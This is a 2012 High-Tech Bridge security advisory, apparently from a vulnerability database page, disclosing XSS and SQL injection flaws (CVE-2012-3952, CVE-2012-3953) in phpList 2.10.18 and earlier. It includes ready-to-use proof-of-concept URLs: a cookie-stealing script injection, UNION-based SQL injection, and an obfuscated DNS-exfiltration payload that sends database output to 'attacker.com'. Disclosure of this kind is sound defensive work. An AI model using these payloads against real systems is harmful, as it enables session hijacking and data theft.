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htbridgeHigh-Tech BridgeHTB23100
HistoryJul 11, 2012 - 12:00 a.m.

Multiple Vulnerabilities in phpList

2012-07-1100:00:00
High-Tech Bridge
www.htbridge.com
15

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.053 Low

EPSS

Percentile

92.2%

High-Tech Bridge Security Research Lab has discovered multiple vulnerabilities in phpList, which can be exploited to perform Cross-Site Scripting (XSS) and SQL Injection attacks against the vulnerable application.

  1. Cross-Site Scripting (XSS) in phpList: CVE-2012-3952
    Input passed via the “unconfirmed” GET parameter to /admin/index.php (when “page” is set to “user”) is not properly sanitised before being returned to the user.
    This can be exploited to execute arbitrary HTML and script code in administrator’s browser session in context of affected website.
    The following PoC (Proof of Concept) demonstrates the vulnerability:
    http://[host]/admin/?page=user&find=1&unconfirmed=%22%3E%3Cscript%3Ealert%28 document.cookie%29;%3C/script%3E

  2. SQL Injection in phpList: CVE-2012-3953
    Input passed via the “delete” GET parameter to /admin/index.php (when “page” is set to “editattributes”) is not properly sanitised before being used in SQL query.
    This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. However successful exploitation of this vulnerability requires administrator’s privileges.

The following PoC demonstrates vulnerability exploitation under administrator’s account:
http://[host]/admin/?page=editattributes&id=1&delete=1 union select version() –

Alternative exploitation of the SQL injection can be performed via XSRF vector and does not require administrative privileges. The PoC code below is based on DNS Exfiltration technique and may be used if the database of the vulnerable application is hosted on a Windows system. The PoC will send a DNS request demanding IP addess for version() (or any other sensetive output from the database) subdomain of “.attacker.com” (a domain name, DNS server of which is controlled by the attacker):
http://[host]/admin/?page=editattributes&id=1&delete=1 union select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107) ,CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102 ),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))) –

Second alternative is to exploit this SQL injection vulnerability also via XSRF vector, but to perform XSS attack against logged-in administrator. The following PoC code will simply display administrator cookies:
http://[host]/admin/?page=editattributes&id=1&delete=1 union select char(60,115,99,114,105,112,116,62,97,108,101,114,116,40,100,111,99,117,109,1 01,110,116,46,99,111,111,107,105,101,41,59,60,47,115,99,114,105,112,116,62) –

CPENameOperatorVersion
phplistle2.10.18

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.053 Low

EPSS

Percentile

92.2%